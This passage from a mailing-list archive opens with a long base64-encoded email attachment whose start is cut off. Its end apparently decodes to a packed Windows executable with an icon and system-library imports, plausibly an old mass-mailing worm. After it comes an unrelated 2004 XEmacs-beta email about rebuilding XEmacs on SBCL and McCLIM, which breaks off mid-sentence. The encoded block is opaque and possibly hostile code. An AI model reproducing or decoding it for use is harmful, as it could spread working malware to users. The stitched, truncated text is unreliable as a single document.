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 G9TM6jVVIKgEBPa8SPgcimVTOOz9ulx5iPbgBzuqa24+NUmP6UoJlfvfRHuEJMDP85S1tULg ZC59evaaq4+BfJwZbX4BVPa1OF8HJTa1Voitva9LkN6A2mf3zx1g/h5C+ljjvrNpDY6ra+DD 0oQBPR+jyLeFPOEEFmUWlwbPY0mCeVJXEBF8qrDtf1xFeeh3jgGvAKNjqzTyjHIR9st5GLGF XFKHtmgRCbuF+JApafNdAjkcRvNNvmNyyMRBd8cLYprL2gDerZrpvK6tN3B19CUGyQTT2lST /0BnTiRqkB36zcClde8/3P9OIjU8j+Lmf6HbKFXTAjrjQOyZMMkhxn5Pv7z6mKRSPsfGf/9S TGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4efgyMwXhFdbVC lybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6qEAjBiWYc F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq 9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_001B_01C0CA80.6B015D10-- From xemacs-beta-admin@xemacs.org Wed Apr 21 16:39:31 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LKdCs14613; Wed, 21 Apr 2004 16:39:12 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LKc4C13478 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 16:38:04 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LKc1p13420 for turnbull@tux.org; Wed, 21 Apr 2004 16:38:01 -0400 Received: from ms-smtp-04-eri0.southeast.rr.com (ms-smtp-04-lbl.southeast.rr.com [24.25.9.103]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LKc1s13406 for ; Wed, 21 Apr 2004 16:38:01 -0400 Received: from [24.88.100.237] (cae88-100-237.sc.rr.com [24.88.100.237]) by ms-smtp-04-eri0.southeast.rr.com (8.12.10/8.12.7) with ESMTP id i3LKbtC8010073 for ; Wed, 21 Apr 2004 16:37:55 -0400 (EDT) Subject: Re: XEmacs lisp engine From: Craig Lanning To: XEmacs Beta In-Reply-To: References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> <87hdvdntum.fsf@tleepslib.sk.tsukuba.ac.jp> Content-Type: text/plain Message-Id: <1082579874.18285.18.camel@cae88-100-237.sc.rr.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Wed, 21 Apr 2004 16:37:54 -0400 Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Wed, 2004-04-21 at 13:25, Didier Verna wrote: > Stephen J. Turnbull wrote: > > > Soonest would be a couple of years, I would think. This is at least as big > > as Mule, wouldn't you say? > > Actually, I'm not sure. I don't know how well existing "real" lisp > engines could be integrated. The most important or difficult part could turn > out to be the upgrade of existing code. This can be rephrased as > "re-implementing" ELisp on top of the new Lisp engine. > > Also, a totally unrealistic view (although ideally preferable) would be to > translate all current lisp code to the new one :-) MetaEnvironment or Stratego > could be of some help there. Perhaps it is time to revisit using one of the free Common Lisp environments. CMUCL and SBCL are both very capable CL environments and have active communities. Personally, I think that if XEmacs wanted to re-implement itself in CL, SBCL would be the one to use. It has the beginnings of an "application delivery" mechanism. Also mere mortals can rebuild it from source. For the UI, I think that McCLIM would be a good starting point. (XEmacs has been reimplementing it anyway.) CLIM's structure would allow easier use of toolkits like GTK or QT. I'm not saying that taking SBCL and adding McCLIM is going to give us an instantly operational XEmacsNG (XEmacs Next Generation), but it's probably good enough to begin a development repository so that the possibility can be explored. Attempting to implement XEmacs using SBCL and McCLIM would certainly be good for SBCL and McCLIM since it would be a large scale, real application for them to test with. It would probably be good for XEmacs, too. My experience is that using the full object oriented nature of Common 